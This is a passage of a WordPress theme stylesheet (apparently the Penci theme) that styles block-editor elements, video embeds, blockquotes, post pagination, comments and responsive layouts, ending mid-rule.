.wp-block-cover h2,
.wp-block-cover-image .wp-block-cover-image-text,
.wp-block-cover-image .wp-block-cover-text,
.wp-block-cover-image h2 {
	font-size: 36px
}
@media only screen and (max-width:767px) {
	.wp-block-cover .wp-block-cover-image-text,
	.wp-block-cover .wp-block-cover-text,
	.wp-block-cover h2,
	.wp-block-cover-image .wp-block-cover-image-text,
	.wp-block-cover-image .wp-block-cover-text,
	.wp-block-cover-image h2 {
		font-size: 28px
	}
}
.post-entry .wp-block-cover .wp-block-cover-text a {
	color: #fff;
	text-decoration: none
}
blockquote.wp-block-quote:before {
	content: none;
	display: none
}
.post-entry blockquote.wp-block-quote p,
.wpb_text_column blockquote.wp-block-quote p {
	font-size: 16px;
	font-style: normal;
	color: #191e23
}
.post-entry blockquote.wp-block-quote cite,
.wpb_text_column blockquote.wp-block-quote cite {
	color: #6c7781;
	font-size: 13px;
	font-style: normal;
	font-weight: 400;
	text-transform: none;
	font-family: inherit
}
.wp-block-quote.is-large,
.wp-block-quote.is-style-large {
	background: #f5f5f5;
	padding: 10px 20px 11px
}
.post-entry blockquote.wp-block-quote.is-large p,
.post-entry blockquote.wp-block-quote.is-style-large p,
.wpb_text_column blockquote.wp-block-quote.is-large p,
.wpb_text_column blockquote.wp-block-quote.is-style-large p {
	font-size: 24px;
	font-style: italic
}
.wpb_text_column ol,
.wpb_text_column ul {
	padding-left: 36px;
	margin-bottom: 20px
}
.wpb_text_column ol ol,
.wpb_text_column ol ul,
.wpb_text_column ul ol,
.wpb_text_column ul ul {
	margin: 2px 0;
	padding-left: 22px
}
.wpb_text_column ul li {
	margin-bottom: 6px;
	position: relative;
	list-style-type: square;
	line-height: 1.7
}
.wpb_text_column ol li {
	margin-bottom: 2px;
	list-style: decimal
}
.post-entry .wp-block-file {
	font-size: 16px
}
.container-single .post-entry .wp-block-file a,
.post-entry .wp-block-file a {
	color: inherit
}
.post-entry .wp-block-file a.wp-block-file__button {
	color: #fff;
	font-size: 14px
}
.penci_is_nosidebar .wp-block-video.alignfull video,
.penci_is_nosidebar .wp-block-video.alignwide video {
	width: 100%
}
.post-entry .wp-block-table.is-style-stripes {
	border-top: none;
	border-left: none;
	border-right: none
}
.post-entry .wp-block-verse pre,
.post-entry pre.wp-block-verse {
	border: none;
	background: #f5f5f5;
	padding: 10px 20px;
	font-size: 16px;
	font-family: inherit;
	white-space: nowrap;
	overflow: auto;
	line-height: 1.8
}
.post-entry .wp-block-pullquote {
	padding: 30px 0;
	margin-bottom: 20px
}
.post-entry .wp-block-pullquote blockquote,
.post-entry .wp-block-pullquote blockquote cite,
.post-entry .wp-block-pullquote blockquote p {
	text-align: inherit
}
.post-entry .wp-block-pullquote blockquote {
	padding-left: 0;
	margin-bottom: 0
}
.post-entry .wp-block-pullquote blockquote:before {
	content: none;
	display: none
}
.post-entry .wp-block-pullquote blockquote p {
	font-size: 28px;
	font-style: normal;
	color: #313131
}
.post-entry .wp-block-pullquote blockquote cite {
	font-weight: inherit;
	color: inherit;
	font-family: inherit;
	margin-top: 10px;
	font-size: 13px
}
.wp-block-pullquote.is-style-solid-color {
	background: #f5f5f5
}
@media (min-width:600px) {
	.wp-block-columns .wp-block-column:last-child {
		margin-right: 0
	}
	.penci_is_nosidebar .wp-block-column .alignfull,
	.penci_is_nosidebar .wp-block-column .alignwide,
	.penci_is_nosidebar .wp-block-column .wp-block-cover-image.alignfull,
	.penci_is_nosidebar .wp-block-column .wp-block-cover-image.alignwide,
	.penci_is_nosidebar .wp-block-column .wp-block-gallery.alignfull,
	.penci_is_nosidebar .wp-block-column .wp-block-gallery.alignwide,
	.penci_is_nosidebar .wp-block-column .wp-block-image.alignfull,
	.penci_is_nosidebar .wp-block-column .wp-block-image.alignwide {
		margin-left: 0;
		width: 100%;
		max-width: 100%
	}
}
.post-entry a.wp-block-button__link {
	text-decoration: none
}
.has-huge-font-size,
.has-larger-font-size {
	line-height: 1.4
}
.container-single .post-entry a.has-white-color,
.container-single .post-entry a.wp-block-button__link,
.post-entry a.has-white-color,
.post-entry a.wp-block-button__link {
	color: #fff
}
.container-single .post-entry a.has-black-color,
.post-entry a.has-black-color {
	color: #000
}
.container-single .post-entry a.has-vivid-purple-color,
.post-entry a.has-vivid-purple-color {
	color: #9b51e0
}
.post-entry .wp-block-social-links:not(.is-style-logos-only) .wp-social-link a {
	color: #fff
}
.wp-block-media-text .wp-block-media-text__content p:last-child {
	margin-bottom: 0
}
.post-entry hr.wp-block-separator,
.wp-block-separator {
	border-bottom: 2px solid #8f98a1
}
.post-entry hr.wp-block-separator.is-style-wide,
.wp-block-separator.is-style-wide {
	border-width: 1px
}
.wp-block-separator.is-style-dots {
	border: none !important
}
.wp-block-separator.is-style-dots:before {
	color: inherit;
	line-height: 1
}
.wp-block-latest-posts {
	padding: 16px 20px 16px 36px !important;
	border: 1px solid #dedede
}
.wp-block-latest-posts.is-grid {
	padding-bottom: 0 !important
}
.wp-block-categories .category-item-count {
	color: #313131
}
@media (min-width:600px) {
	.wp-block-latest-posts.is-grid li {
		padding-right: 8px
	}
}
@media only screen and (max-width:767px) {
	.wp-block-media-text {
		display: block
	}
	.wp-block-media-text .wp-block-media-text__content {
		display: block;
		padding: 0;
		text-align: center;
		margin-top: 20px
	}
	.wp-block-media-text .has-huge-font-size,
	.wp-block-media-text .has-large-font-size {
		font-size: 22px;
		line-height: 1.5
	}
}
.has-pale-pink-color.has-pale-pink-color {
	color: #f78da7 !important
}
.has-vivid-red-color.has-vivid-red-color {
	color: #cf2e2e !important
}
.has-luminous-vivid-orange-color.has-luminous-vivid-orange-color {
	color: #ff6900 !important
}
.has-luminous-vivid-amber-color.has-luminous-vivid-amber-color {
	color: #fcb900 !important
}
.has-light-green-cyan-color.has-light-green-cyan-color {
	color: #7bdcb5 !important
}
.has-vivid-green-cyan-color.has-vivid-green-cyan-color {
	color: #00d084 !important
}
.has-pale-cyan-blue-color.has-pale-cyan-blue-color {
	color: #8ed1fc !important
}
.has-vivid-cyan-blue-color.has-vivid-cyan-blue-color {
	color: #0693e3 !important
}
.has-very-light-gray-color.has-very-light-gray-color {
	color: #eee !important
}
.has-cyan-bluish-gray-color.has-cyan-bluish-gray-color {
	color: #abb8c3 !important
}
.has-very-dark-gray-color.has-very-dark-gray-color {
	color: #313131 !important
}
.wp-block-embed .wp-block-embed__wrapper iframe,
.wp-block-embed .wp-block-embed__wrapper twitter-widget {
	display: inline-block !important
}
.wp-block-embed.aligncenter,
.wp-block-embed.alignfull,
.wp-block-embed.alignwide {
	text-align: center
}
.wp-block-embed.alignleft {
	text-align: left
}
.wp-block-embed.alignright {
	text-align: right
}
.wp-block-embed-instagram figcaption {
	margin-top: -8px
}
.wp-block-embed-dailymotion .wp-block-embed__wrapper {
	position: relative;
	padding-bottom: 56.2393%
}
.wp-block-embed-youtube .wp-block-embed__wrapper {
	position: relative;
	padding-bottom: 56.25%
}
.wp-block-embed-youtube .wp-block-embed__wrapper .yt-video-place.embed-responsive {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	padding-bottom: 0;
	width: 100%;
	padding-bottom: 0 !important
}
.yt-video-place {
	position: relative;
	text-align: center
}
.yt-video-place .play-yt-video {
	margin: auto
}
.yt-video-place.embed-responsive {
	padding-bottom: 10px !important;
	height: auto
}
.yt-video-place.embed-responsive:before {
	padding: 0 !important
}
.start-video {
	position: absolute;
	padding: 0;
	opacity: 1;
	cursor: pointer;
	border-radius: 50%;
	top: 50%;
	left: 50%;
	transform: translate(-50%, -50%)
}
#hpp_mPlayNxt {
	width: 100%;
	height: 100%;
	position: fixed;
	left: 0;
	top: 0;
	z-index: 999000000;
	text-align: center
}
#hpp_mPlayNxt .yt-video-place {
	top: 10%;
	display: inline-block;
	height: auto
}
#hpp_mPlayNxt .cover {
	position: absolute;
	background: #dadada;
	opacity: .5;
	width: 100%;
	height: 100%
}
.widget_media_video iframe {
	width: 100%;
	min-height: 400px
}
mediaelementwrapper>iframe {
	width: 100%;
	height: 100%
}
.mejs-overlay-play {
	width: 100% !important
}
.mejs-mediaelement {
	position: relative !important
}
.mejs-container.wp-video-shortcode {
	height: auto !important
}
.mejs-container video {
	height: auto
}
.yt-video-place.embed-responsive .play-yt-video {
	width: 100%;
	aspect-ratio: 16/9;
	object-fit: cover
}
.yt-video-place.embed-responsive .start-video {
	display: block;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	position: absolute;
	transform: none
}
.yt-video-place.embed-responsive .start-video svg {
	margin: 0;
	padding: 0;
	top: 50%;
	display: inline-block;
	position: absolute;
	left: 50%;
	transform: translate(-50%, -50%);
	width: 68px;
	height: auto
}
.yt-video-place.embed-responsive .start-video:hover svg path {
	transition: .3s all ease-in-out
}
.yt-video-place.embed-responsive .start-video svg .red {
	fill: #212121;
	fill-opacity: .8
}
.yt-video-place.embed-responsive .start-video svg .white {
	fill: #fff
}
.yt-video-place.embed-responsive .start-video:hover svg .red {
	fill: red;
	fill-opacity: 1
}
.fluid-width-video-wrapper iframe {
	z-index: 10
}
.fluid-width-video-wrapper .yt-video-place.embed-responsive {
	position: absolute;
	left: 0;
	right: 0;
	top: 0;
	width: 100%;
	height: 100%
}
.fluid-width-video-wrapper .yt-video-place.embed-responsive>img {
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	object-fit: cover
}
.wp-block-embed-youtube .wp-block-embed__wrapper .fluid-width-video-wrapper {
	padding-top: 0 !important;
	position: static !important
}
.wp-block-embed-dailymotion .wp-block-embed__wrapper iframe,
.wp-block-embed-youtube .wp-block-embed__wrapper iframe {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.wp-block-yoast-how-to-block .schema-how-to-description,
.wp-block-yoast-how-to-block .schema-how-to-total-time {
	font-size: 16px;
	margin-bottom: 7px
}
.wp-block-yoast-how-to-block ol.schema-how-to-steps {
	padding: 15px 20px 20px 32px;
	border: 1px solid #dedede
}
.wp-block-yoast-how-to-block ol.schema-how-to-steps li {
	padding: 0;
	border-bottom: 1px solid #dedede;
	margin-bottom: 17px
}
.wp-block-yoast-how-to-block ol.schema-how-to-steps li:last-child {
	margin-bottom: 0;
	border-bottom: none
}
.wp-block-yoast-how-to-block ol.schema-how-to-steps li:last-child p.schema-how-to-step-text {
	margin-bottom: 0
}
.wp-block-yoast-faq-block .schema-faq-section {
	border: 1px solid #dedede;
	padding: 15px 20px;
	margin-bottom: 15px
}
.wp-block-yoast-faq-block .schema-faq-answer {
	margin-bottom: 0
}
p.has-drop-cap:not(:focus):first-letter {
	float: left;
	font-size: 60px;
	line-height: .9;
	margin: 0 8px 0 0;
	text-transform: uppercase;
	font-style: normal
}
.has-small-font-size,
.post-entry p.has-small-font-size>* {
	font-size: 12px
}
.has-medium-font-size,
.post-entry p.has-medium-font-size>* {
	font-size: 20px
}
.has-large-font-size,
.post-entry p.has-large-font-size>* {
	font-size: 32px
}
.has-huge-font-size,
.post-entry p.has-huge-font-size>* {
	font-size: 42px
}
.wp-block-embed-soundcloud .wp-block-embed__wrapper {
	width: 100%;
	position: relative;
	padding: 0;
	padding-top: 23.0555%
}
.wp-block-embed-soundcloud .wp-block-embed__wrapper iframe {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.wp-block-search {
	margin-bottom: 20px
}
.wp-block-search .wp-block-search__label {
	margin-bottom: 5px
}
.wp-block-search .wp-block-search__input {
	border: 1px solid #dedede;
	padding: 10px 20px
}
.wp-block-search .wp-block-search__button {
	border: none;
	outline: 0;
	padding: 0 12px;
	cursor: pointer;
	background: #e2e2e2
}
.post-entry .grid-header-box,
.post-entry .grid-header-box .grid-title,
.post-entry .grid-post-box-meta,
.post-entry .header-list-style,
.post-entry .header-list-style .grid-title,
.post-entry .header-standard,
.post-entry .inner-boxed-2,
.post-entry .inner-boxed-2 .grid-title,
.post-entry .item-related,
.post-entry .main-typography,
.post-entry .main-typography .grid-title,
.post-entry .penci-overlay-over .overlay-header-box {
	line-height: 1
}
.post-entry .grid-header-box .grid-title,
.post-entry .header-list-style .grid-title,
.post-entry .header-standard .post-title,
.post-entry .header-standard h2,
.post-entry .pc_titlebig_standard,
.post-entry .home-featured-cat .magcat-titlte,
.post-entry .home-pupular-posts-title,
.post-entry .inner-boxed-2 .grid-title,
.post-entry .item-related h3,
.post-entry .main-typography .grid-title,
.post-entry .overlay-title,
.post-entry .penci-border-arrow .inner-arrow,
.post-entry ul.penci-grid {
	margin-bottom: 0
}
.post-entry .cat>a.penci-cat-name,
.post-entry .grid-mixed .mixed-detail a,
.post-entry .grid-post-box-meta a,
.post-entry .header-standard .author-post span a,
.post-entry .header-standard h2 a,
.post-entry .pc_titlebig_standard a,
.post-entry .item-related a,
.post-entry .overlay-author a,
.post-entry .overlay-header-box .overlay-title a,
.post-entry .penci-featured-cat-seemore a,
.post-entry .penci-grid li .item h2 a,
.post-entry .penci-magazine-title a,
.post-entry .penci-masonry .item-masonry h2 a,
.post-entry .penci-post-box-meta .penci-box-meta a,
.post-entry .penci-readmore-btn a {
	text-decoration: none
}
.post-entry .penci-grid>li {
	margin-bottom: 40px
}
.post-entry .item-content p,
.post-entry .mag-excerpt p {
	margin-bottom: 0
}
.elementor-column-gap-wider>.elementor-column>.theiaStickySidebar>.elementor-element-populated {
	padding: 30px
}
.elementor-column-gap-wide>.elementor-column>.theiaStickySidebar>.elementor-element-populated {
	padding: 20px
}
.elementor-column-gap-extended>.elementor-column>.theiaStickySidebar>.elementor-element-populated {
	padding: 15px
}
.elementor-column-gap-default>.elementor-column>.theiaStickySidebar>.elementor-element-populated {
	padding: 10px
}
.elementor-column-gap-narrow>.elementor-column>.theiaStickySidebar>.elementor-element-populated {
	padding: 5px
}
.post-pagination.pcpagp-style-2 .prev-post-title,
.post-pagination.pcpagp-style-3 .prev-post-title,
.post-pagination.pcpagp-style-4 .prev-post-title,
.post-pagination.pcpagp-style-5 .prev-post-title {
	text-transform: uppercase;
	font-size: 12px;
	font-family: var(--pchead-font);
	letter-spacing: .05em;
	position: relative
}
.post-pagination.pcpagp-style-2 .penci-post-nav-thumb {
	flex: 0 0 170px;
	height: 170px
}
.post-pagination.pcpagp-style-2 .next-post,
.post-pagination.pcpagp-style-2 .prev-post {
	display: flex;
	flex-direction: row;
	align-items: center
}
.post-pagination.pcpagp-style-2 .next-post {
	flex-direction: row-reverse
}
.post-pagination.pcpagp-style-3 {
	display: flex;
	justify-content: space-between
}
.post-pagination.pcpagp-style-3 .penci-post-nav-thumb.nav-thumb-next {
	margin: 0
}
.post-pagination.pcpagp-style-3 .next-post,
.post-pagination.pcpagp-style-3 .prev-post {
	position: relative
}
.post-pagination.pcpagp-style-3 .penci-post-nav-thumb {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	width: 100%;
	height: 100%
}
.post-pagination.pcpagp-style-3 .next-post-inner,
.post-pagination.pcpagp-style-3 .prev-post-inner {
	position: relative;
	padding: 40px 20px;
	height: 100%;
	display: flex;
	align-items: center
}
.post-pagination.pcpagp-style-3 .next-post-inner:before,
.post-pagination.pcpagp-style-3 .prev-post-inner:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(0, 0, 0, .5)
}
.post-pagination.pcpagp-style-3 h5,
.post-pagination.pcpagp-style-3 span {
	color: #fff;
	padding: 0
}
.post-pagination.pcpagp-style-4 .penci-post-nav-thumb,
.post-pagination.pcpagp-style-5 .penci-post-nav-thumb {
	width: 100%;
	height: 170px;
	float: none;
	margin-bottom: 15px
}
.post-pagination.pcpagp-style-5 .penci-post-nav-thumb.nav-thumb-next {
	margin-left: 0;
	margin-right: 0
}
.post-pagination.pcpagp-style-4 {
	display: flex;
	flex-wrap: wrap;
	gap: 15px;
	justify-content: space-between;
}
.post-pagination.pcpagp-style-4 .penci-post-nav-thumb.nav-thumb-next {
	margin-left: 0;
}
.post-pagination.pcpagp-style-4 .prev-post,
.post-pagination.pcpagp-style-4 .next-post {
	width: auto;
	flex: 0 0 calc(50% - 15px);
}
.post-pagination.pcpagp-style-3 .next-post,
.post-pagination.pcpagp-style-3 .prev-post,
.post-pagination.pcpagp-style-5 .next-post,
.post-pagination.pcpagp-style-5 .prev-post {
	width: calc(50% - 10px)
}
.post-pagination.pcpagp-style-5 .next-post-inner,
.post-pagination.pcpagp-style-5 .prev-post-inner {
	padding: 20px 20px 20px 0;
	background: #fff;
	margin: -60px 60px 0 0;
	position: relative
}
.post-pagination.pcpagp-style-5 .next-post-inner {
	margin: -60px 0 0 60px;
	padding: 20px 0 20px 20px
}
.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) {
	padding: 15px 50px 15px 0;
	border-top: 5px solid var(--pcaccent-cl);
	border-bottom: 1px solid var(--pcaccent-cl)
}
.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p {
	font-size: 24px;
	color: var(--pcaccent-cl);
	font-style: normal;
	line-height: 1.6;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font)
}
.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before {
	transform: rotate(180deg);
	font-size: 50px;
	bottom: 10px;
	right: 0;
	top: auto;
	left: auto;
	opacity: .1
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote),
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote),
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) {
	padding: 15px 10%;
	margin: 1.2em auto
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p {
	font-size: 22px;
	color: var(--pcmeta-cl);
	font-style: italic;
	line-height: 1.6;
	text-align: center
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after,
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):before,
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after {
	content: "";
	width: 100px;
	height: 2px;
	background: var(--pcmeta-cl);
	left: 50%;
	right: 50%;
	transform: translateX(-50%);
	position: absolute;
	opacity: .5;
	top: 0
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after {
	bottom: 0;
	top: auto
}
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote),
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote),
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote),
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) {
	padding-top: 40px
}
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p,
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) p,
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) p {
	font-size: 22px;
	color: var(--pcheading-cl);
	font-style: italic;
	line-height: 1.6;
	text-align: center
}
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):before,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):before,
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before,
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before {
	left: 50%;
	right: 50%;
	transform: translateX(-50%) rotate(180deg);
	top: 0;
	color: var(--pcmeta-cl);
	display: inline-block;
	width: 40px;
	text-align: center;
	font-size: 32px;
	opacity: .7
}
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):after {
	bottom: 0;
	top: auto
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) .author {
	text-align: center
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) .author span:after,
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) .author span:after,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author span:after,
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) .author span:after,
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) .author span:after {
	display: none
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) {
	background: var(--pcaccent-cl);
	border-radius: 5px;
	overflow: visible !important;
	margin-top: 30px;
	padding: 30px 30px 30px 90px
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p {
	text-align: left;
	color: #fff
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):before {
	opacity: 1;
	top: 30px;
	left: 40px;
	color: #fff;
	transform: scaleY(-1)
}
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) {
	background: #22c1c3;
	background: linear-gradient(0deg, rgba(34, 193, 195, 1) 0, rgba(146, 190, 119, 1) 50%, var(--pcaccent-cl) 100%);
	border-radius: 5px;
	overflow: visible !important;
	padding: 40px;
	margin-top: 43px
}
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) p {
	color: #fff
}
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before {
	background: #22c1c3;
	background: linear-gradient(0deg, rgba(34, 193, 195, 1) 0, rgba(146, 190, 119, 1) 50%, var(--pcaccent-cl) 100%);
	border: 5px solid #fff;
	top: -25px;
	border-radius: 50%;
	line-height: 50px;
	width: 50px;
	color: #fff;
	opacity: 1
}
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) {
	border: 3px solid var(--pcaccent-cl);
	border-radius: 5px;
	overflow: visible !important;
	margin-top: 43px;
	padding: 40px
}
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) p {
	color: var(--pcaccent-cl)
}
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before {
	background: #22c1c3;
	background: linear-gradient(0deg, rgba(34, 193, 195, 1) 0, var(--pcaccent-cl) 100%);
	top: -30px;
	border-radius: 50%;
	line-height: 50px;
	border: 5px solid #fff;
	width: 50px;
	color: #fff;
	opacity: 1
}
.penci-preview-thumb {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 5
}
.penci-preview-thumb.active {
	background: #000;
}
.penci-preview-thumb .penci-preview-iframe {
	position: relative;
	overflow: hidden;
	width: 100%;
	height: 100%
}
.penci-preview-thumb iframe,
.penci-preview-thumb video {
	width: 100%;
	height: 100%;
	object-fit: cover;
	pointer-events: none
}
.penci-preview-thumb iframe:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 3
}
.post-related .penci-preview-thumb {
	margin-left: 10px;
	margin-right: 10px;
	max-height: 160px
}
.penci-preview-iframe,
.penci-preview-iframe iframe {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	pointer-events: none
}
.penci-preview-iframe iframe {
	max-width: unset !important;
	top: 50%;
	left: 50%;
	transform: translate(-50%, -50%)
}
.e-con>.e-con-inner>.theiaStickySidebar>.elementor-widget>.elementor-widget-container,
.e-con>.theiaStickySidebar>.elementor-widget>.elementor-widget-container {
	height: 100%
}
.e-con.e-con>.theiaStickySidebar>.e-con-inner>.elementor-widget,
.elementor.elementor .e-con>.theiaStickySidebar>.elementor-widget {
	max-width: 100%
}
.elementor-element:where(.e-con-full) .theiaStickySidebar {
	display: var(--display);
	flex-direction: var(--flex-direction);
	flex-wrap: var(--flex-wrap);
	justify-content: var(--justify-content);
	align-items: var(--align-items);
	align-content: var(--align-content);
	gap: var(--gap)
}
.elementor-widget-penci-sidebar .theiaStickySidebar {
	display: block !important
}
.pc-comment-s1-button a {
	padding: 0 25px;
	line-height: 46px;
	background: var(--pcaccent-cl);
	color: #fff;
	display: inline-block;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	margin-bottom: 30px;
	font-size: 16px
}
.pc-comment-s1-button i {
	display: inline-block;
	vertical-align: middle;
	margin: 0 10px 0 0;
	line-height: inherit
}
.pc-comment-s1 {
	display: none
}
.comments .pc-comment-s1 {
	display: block
}
.pc-comment-s1.active {
	display: block
}
.comments.pc-cms-style-2 .thecomment .comment-text {
	padding: 30px;
	background: #f1f1f1
}
.comments.pc-cms-style-2 .thecomment .comment-text span.reply {
	top: 30px;
	right: 30px
}
.comments.pc-cms-style-2 .thecomment {
	padding-bottom: 0
}
.comments.pc-cms-style-2 .comment {
	border-top: 0;
	padding-bottom: 0
}
.comments.pc-cms-style-2 .thecomment .comment-text:before {
	content: "";
	position: absolute;
	left: -10px;
	border-left: 7px solid transparent;
	border-right: 7px solid transparent;
	border-bottom: 7px solid #f1f1f1;
	transform: translatey(-50%) rotate(-90deg)
}
a.penci_cmrm {
	display: inline-block;
	margin-top: 15px;
	font-size: 14px;
	font-weight: var(--pchead-wei)
}
.thecomment .comment-text.showfull .comment-content {
	-webkit-line-clamp: initial
}
.comments.pc-cms-style-2 h3.comment-reply-title {
	border-top: 0
}
.comments.pc-cms-style-2 #respond {
	margin-left: 80px
}
.pc-cms-style-3 .thecomment .author-img {
	width: 30px;
	margin-right: 20px;
	border-radius: 5px
}
.pc-cms-style-3 .thecomment .comment-text {
	margin-left: 50px;
	border: 1px solid var(--pcborder-cl);
	padding: 15px;
	border-radius: 5px
}
.pc-cms-style-3 .thecomment .comment-text:after,
.pc-cms-style-3 .thecomment .comment-text:before {
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 10px 10px 10px 0;
	border-color: transparent var(--pcborder-cl) transparent transparent;
	transform: rotate(0);
	content: '';
	position: absolute;
	top: 10px;
	left: -10px
}
.pc-cms-style-3 .thecomment {
	padding-bottom: 0
}
.pc-cms-style-3 .thecomment .comment-text:after {
	border-width: 8px 8px 8px 0;
	border-color: transparent var(--pcbg-cl) transparent transparent;
	left: -8px;
	top: 12px
}
.pc-cms-style-3.comments .comment {
	border-top: 0
}
.pc-cms-style-3 .thecomment .comment-text span.reply {
	top: 15px;
	right: 15px
}
@media only screen and (min-width:961px) and (max-width:1400px) {
	.container.two-sidebar.two-sidebar {
		width: 100%;
		max-width: 100%;
		padding-left: 10px;
		padding-right: 10px
	}
}
@media only screen and (min-width:1170px) {
	.footer-widget-wrapper .fb_iframe_widget,
	.footer-widget-wrapper .fb_iframe_widget span,
	.footer-widget-wrapper .fb_iframe_widget span iframe[style] {
		width: 340px !important
	}
	.footer-widget-wrapper .widget.penci_facebook_widget {
		text-align: center
	}
}
@media only screen and (max-width:1200px) {
	.featured-style-38 .penci-owl-carousel .swiper-slide {
		width: 400px
	}
}
@media only screen and (max-width:1169px) {
	.penci-video-overlay-background {
		display: block
	}
	.inner-portfolio-posts .portfolio-item,
	.penci-post-gallery-container.masonry .item-gallery-masonry {
		width: 50%
	}
	.penci-header-signup-form .mc4wp-form-fields>p,
	.penci-header-signup-form form>p {
		display: block;
		max-width: 100% !important;
		text-align: center;
		padding: 0
	}
	.penci-header-signup-form .mc4wp-form input[type=email],
	.penci-header-signup-form .mc4wp-form input[type=submit],
	.penci-header-signup-form .mc4wp-form input[type=text] {
		margin: 20px auto 0;
		max-width: 400px
	}
	.post-entry ul.homepage-featured-boxes,
	ul.homepage-featured-boxes {
		margin-left: -8px;
		margin-right: -8px
	}
	.post-entry ul.homepage-featured-boxes li,
	ul.homepage-featured-boxes li {
		padding: 0 8px
	}
	.penci-post-gallery-container.masonry.column-4 .item-gallery-masonry {
		width: 50%
	}
	.pencislider-container {
		padding: 0 25px
	}
	.featured-style-3 .penci-owl-carousel .penci-image-holder:before {
		height: 0;
		padding-top: 50%
	}
	.featured-style-20 .penci-mag-featured-content .feat-meta,
	.featured-style-21 .penci-mag-featured-content .feat-meta,
	.featured-style-22 .penci-mag-featured-content .feat-meta,
	.featured-style-23 .penci-mag-featured-content .feat-meta,
	.featured-style-24 .penci-mag-featured-content .feat-meta,
	.featured-style-25 .penci-mag-featured-content .feat-meta,
	.featured-style-26 .penci-mag-featured-content .feat-meta {
		display: none
	}
	.penci-item-mag {
		overflow: hidden
	}
	.featured-style-24 .penci-image-holder:before {
		height: 160px
	}
	.featured-style-24 .penci-item-2 .penci-image-holder:before {
		height: 200px
	}
	.featured-style-24 .penci-item-1 .penci-image-holder:before {
		height: 364px
	}
	.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 20px
	}
	.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a {
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-25 .penci-image-holder:before {
		height: 150px
	}
	.featured-style-26 .penci-image-holder:before {
		height: 160px
	}
	.featured-style-25 .penci-item-1 .penci-image-holder:before {
		height: 458px
	}
	.featured-style-26 .penci-item-1 .penci-image-holder:before {
		height: 324px
	}
	.featured-style-29.style-30 .penci-image-holder:before {
		height: 450px
	}
	.footer-widget-wrapper.footer-widget-style-4 {
		width: 48%;
		margin-right: 4%
	}
	.footer-widget-wrapper.footer-widget-style-4:nth-child(2) {
		margin-right: 0
	}
	.footer-widget-wrapper.footer-widget-style-4:nth-child(3) {
		clear: both
	}
	.footer-widget-wrapper.footer-widget-style-4:nth-child(1),
	.footer-widget-wrapper.footer-widget-style-4:nth-child(2) {
		margin-bottom: 30px
	}
	.footer-widget-wrapper.footer-widget-style-5,
	.footer-widget-wrapper.footer-widget-style-6,
	.footer-widget-wrapper.footer-widget-style-7 {
		width: 25.25%
	}
	.footer-widget-wrapper.footer-widget-style-5:first-child,
